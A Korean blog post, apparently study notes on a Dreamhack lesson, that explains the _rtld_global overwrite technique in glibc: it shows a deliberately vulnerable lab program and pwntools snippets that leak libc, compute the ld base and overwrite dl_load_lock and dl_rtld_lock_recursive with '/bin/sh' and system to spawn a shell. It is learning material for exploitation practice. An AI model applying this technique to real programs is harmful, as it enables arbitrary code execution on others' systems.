본문 바로가기

overwrite _rtld_global 본문

개념 정리

overwrite _rtld_global

Seongjun_You 2022. 2. 7. 22:48

https://dreamhack.io/learn/269#1

 

로그인 | Dreamhack

 

dreamhack.io

 

dreamhack의 새로운 로드맵 중 _rtld_global에 대해 공부 했다.

알고 있었던 내용이지만 복습하는 마음으로 정리하기로 했다.

 

 

// Name: ow_rtld.c
// Compile: gcc -o ow_rtld ow_rtld.c
#include <stdio.h>
#include <stdlib.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
int main() {
  long addr;
  long data;
  int idx;
  init();
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        *(long long *)addr = data;
        break;
      default:
      	return 0;
    }
  }
  return 0;
}

바이너리 파일이다.

원하는 주소에 값을 넣을 수 있다.

보호 기법은 모두 걸려있다.

 

먼저 코드에서 stdout의 주소를 출력해주기에 libc base는 쉽게 구할 수 있다.

하지만 rtld_global은 ld 영역에 존재한다.

즉 libc base를 이용해 ld base를 알아야 한다.

 

이는 실행 중인 프로세스에서 vmmap을 통해 위치를 할 수 있다.

offset은 항상 같으니 계산이 가능하다.

 

p.recvuntil('stdout: ')
leak_stdout = int(p.recv(14),16)
libc_base = leak_stdout - libc.sym['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

ld_base를 계산해주었다.

 

다음 단계는

_rtld_global 구조체의 덮어쓸 멤버 변수의 주소를 구해야 한다.

 

주소를 구했다.

 

 

rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840

계산을 해준다.

dl_load_lock -> /bin/sh

dl_rtld_lock_recursive -> system

으로 덮어주면 끝이다.

 

 

 

 

'개념 정리' 카테고리의 다른 글

_IO_FILE Arbitrary Address Read  (0) 2022.02.10
__environ  (0) 2022.02.09
vtable check bypass  (0) 2022.01.18
PE 기초 개념  (0) 2022.01.15
shellcode 모음  (0) 2022.01.07
Comments